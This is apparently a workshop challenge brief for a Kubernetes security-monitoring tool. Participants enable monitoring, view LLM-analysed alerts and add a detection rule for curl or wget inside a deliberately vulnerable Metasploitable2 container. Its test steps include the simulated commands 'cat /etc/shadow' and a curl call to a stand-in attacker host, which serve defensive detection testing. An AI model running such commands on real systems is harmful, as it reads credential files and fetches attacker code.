

C-SHIELD Monitoring (Monitoring applications with CyberSuite)

Challenge Title: *Monitoring applications with CyberSuite*

Challenge Context and Purpose:

CyberSuite through C-Shield offers a security framework for the secure creation, management, and protection of Kubernetes clusters among geographically distributed nodes. Its main purpose is to help DevOps teams and SMEs evaluate detect incidents in the deployment environment.

It provides real-time monitoring and malicious action detection in Kubernetes clusters.

- Collects data from monitoring agents deployed in each node per cluster and detects both process-level and network-level threats.
- A centralized Elasticsearch–Kibana stack in the C-Shield control plane manages the collected data.
- Custom detection rules identify specific threat patterns in containerized environments.

Goals of the Challenge:

- Assess the usability and effectiveness of CyberSuite.
- Identify areas where rules can be made more intuitive for SMEs.

Key Tasks for Participants:

- Apply recommended detection rules.
- View incidents
- Document the overall usability and clarity of the workflow.

Feedback and Evaluation Requirements:

- Complete an evaluation form outlining: ease of use, clarity of outputs, and perceived value.
- Provide suggestions on how risk scores and mitigation options could be improved.
- Note any difficulties faced when navigating the tool or applying policies.

Deliverables:

- Completed evaluation form.
- Short notes or recommendations for improving usability and functionality.

Resources and Tools Provided:

- Access to the CyberSuite platform.
- Predefined demo application for testing.

Estimated Time Requirement: ~10minutes

Contact Point (Optional): Ioannis Ledakis, gledakis@ubitech.eu

Detailed Instructions:

PART A: This demo shows how SeerBox detects application-layer attacks.

- When a malicious action is detected, SeerBox sends alert data to Elasticsearch through Filebeat in JSON format.
- The alert data is then passed to the LLM for further analysis

Login to <https://cybersuite-cs.euprojects.net/login>

User: demo1

Password: demo1

Step 2: Start Monitoring (if it is not enabled)

- Go to the monitoring tab and select the SeerBox tool
- Select the Interval and press start

Step 3: Malicious Action Generation

- The target service is OWASP Juice Shop.
- We attempted an admin login with incorrect credentials, and SeerBox detected this as a malicious action, generating a “Drupal probing” alert.
- The LLM then analyzed this alert and provided a detailed output.

PART B: C-Shield provides real-time monitoring and malicious action detection in Kubernetes clusters

Step 2: Start Monitoring (if it is not enabled)

- Go to the monitoring tab and select the C-Shield tool
- Select the Interval and press start

Step 3: Malicious Action Generation (to be done by trainer)

- The target service is Metasploitable 2 container in the Kubernetes Cluster.
- We simulated a malicious actor executing commands e.g., “cat /etc/shadow”.
- C-Shield detects the action and generates an alert forwarding the related data to elasticsearch.
- The LLM analyzed this alert and produced a detailed explanation.

Step 4: Add a custom-based rule to detect “malicious” actions in the Kubernetes containers

- Go to the “Security Capabilities” tab and select “Rules”
- Press “Create New Rule”
- Add the following KQL code in the “JSON View”

Rule Description: Data Exfiltration from Metasploitable2 Container

This alert detects the execution of network download tools (curl or wget) within the Metasploitable2 container. Such behavior could indicate an attacker attempting to download malicious files or tools into the vulnerable environment. This activity may be part of a larger attack strategy, including file exfiltration, exploitation, or lateral movement. Immediate investigation is recommended to determine the legitimacy of the download and prevent further compromise.

KQL Rule:

```
event.module:cilium_tetragon and event.action:executed and (process.executable: "/usr/bin/curl" or  
process.executable: "/usr/bin/wget") and  
container.image.name: "docker.io/tleemcjr/metasploitable2:latest"
```

Step 5: Malicious Action Detection based on the new Rule (to be done by trainer).

- The target service is the **Metasploitable2** container running in the Kubernetes cluster.
- We simulated a **malicious action** to verify that the new detection rule is working correctly.

Example command (data exfiltration attempt):

```
curl http://attacker.example.com/download
```